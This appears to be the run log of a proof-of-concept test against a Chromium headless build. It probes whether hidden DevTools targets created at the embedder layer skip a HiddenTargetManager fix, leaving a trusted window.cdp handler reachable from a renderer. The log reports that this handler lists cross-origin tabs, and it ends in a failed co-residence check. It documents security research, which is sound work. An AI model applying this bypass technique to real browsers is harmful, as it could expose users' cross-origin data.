[*] launching: /chromium/chromium/src/out/asan/headless_shell --remote-debugging-pipe --user-data-dir=/tmp/headless-poc-profile --no-first-run --no-sandbox --disable-gpu --disable-dev-shm-usage --host-resolver-rules=MAP *.test 127.0.0.1 --renderer-process-limit=2 --site-per-process
[*] Target.createTarget({hidden:true}) -- should be intercepted by headless embedder layer, NOT content::HiddenTargetManager
  chrome: [0527/225650.507124:ERROR:headless/lib/browser/protocol/target_handler.cc:130] [POC] headless::TargetHandler::CreateTarget(hidden=true) handled at EMBEDDER layer; targetId=8376283CB99E16BAE686419C698DE11D RPH-ID=4 IsUnused()=false -- content::HiddenTargetManager::SetIsUsed() will NOT run.
[+] mapper targetId = 8376283CB99E16BAE686419C698DE11D
[+] exposeDevToolsProtocol -> trusted BrowserToPageConnector wired
[*] renderer PIDs after mapper only: [3803, 3805]
[*] creating normal tab -> http://victim.test:8080/
[*] renderer PIDs after mapper+victim: [3803, 3805]
[*] creating attacker tab -> http://attacker.test:8080/ (process limit reached)
[*] renderer PIDs after mapper+victim+attacker: [3803, 3805, 3829]
[-] 3 renderer processes -- attacker got its own process?
[*] probing window.cdp in mapper context ...
[+] EVIDENCE B: window.cdp -> trusted AccessMode::kBrowser TargetHandler; Target.getTargets exposed ALL cross-origin tabs from inside the renderer:
             - E0E8674E410E69AEFEB31B5A9028C368  http://victim.test:8080/
             - AF328EF31F4014B78003B7042B1FF48C  http://attacker.test:8080/
             - 8376283CB99E16BAE686419C698DE11D  about:blank
[*] attacker tab location.href = http://attacker.test:8080/
[*] issuing Page.crash on the ATTACKER tab ...
  chrome: [0527/225658.622914:FATAL:third_party/blink/renderer/core/inspector/devtools_session.cc:111] NOTREACHED hit.
[*] Target.targetCrashed received for: ['AF328EF31F4014B78003B7042B1FF48C']
[-] mapper did NOT crash with attacker -- not co-resident?

[*] instrumentation log lines:
    [0527/225650.507124:ERROR:headless/lib/browser/protocol/target_handler.cc:130] [POC] headless::TargetHandler::CreateTarget(hidden=true) handled at EMBEDDER layer; targetId=8376283CB99E16BAE686419C698DE11D RPH-ID=4 IsUnused()=false -- content::HiddenTargetManager::SetIsUsed() will NOT run.
[+]   (content::HiddenTargetManager::CreateHiddenTarget log line is ABSENT -> content-layer SetIsUsed() fix never ran)

[-] could not demonstrate co-residence